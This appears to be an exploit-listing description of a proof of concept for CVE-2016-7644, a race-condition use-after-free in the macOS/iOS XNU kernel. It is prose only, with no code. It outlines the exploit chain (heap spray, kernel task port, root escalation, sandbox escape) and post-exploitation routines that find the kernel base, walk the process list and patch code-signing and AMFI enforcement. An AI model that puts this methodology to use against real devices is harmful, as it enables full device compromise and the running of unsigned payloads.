    [+] References : https://packetstorm.news/files/id/212493/ & 	CVE-2016-7644
    
    [+] Summary : This PoC targets a race‑condition vulnerability in the XNU kernel (CVE‑2016‑7644) affecting macOS/iOS.
                  By forcing a use‑after‑free condition on kernel ports, the exploit manipulates freed memory through a controlled spray, allowing a user‑controlled replacement object. 
    			  Successful exploitation yields a kernel task port, enabling arbitrary read/write in kernel memory.
                  With this access, the PoC escalates privileges to root, bypasses sandbox restrictions, disables AMFID/code‑signing enforcement, and may launch a persistent privileged shell.
    
    📌 Impact: Full device compromise, privilege escalation, kernel control.
    📌 Requirements: Vulnerable macOS/iOS version, timing reliability, local code execution.

    =================
    This fragment shows key kernel‑level post‑exploitation utilities used after gaining arbitrary read/write access on macOS/iOS (XNU).
    
    It implements:
    
    Kernel Base Discovery
    find_kernel_base() scans the high kernel address space to locate the Mach‑O magic (0xFEEDFACF), determining the kernel base mapping.
    
    Process Lookup in Kernel
    get_proc_for_pid() walks the allproc linked list within the kernel to locate the proc structure associated with a specific PID.
    
    Security Enforcement Disabling
    patch_codesign() disables kernel‑enforced code signing by patching several internal flags (CS enforcement, AMFI, and pointer‑stability checks), allowing execution of unsigned binaries and jailbreak‑style payloads.
    
    📌 Role in Exploit Chain:
    These routines are typically executed after the race condition exploit grants a kernel task port, enabling full kernel memory access.
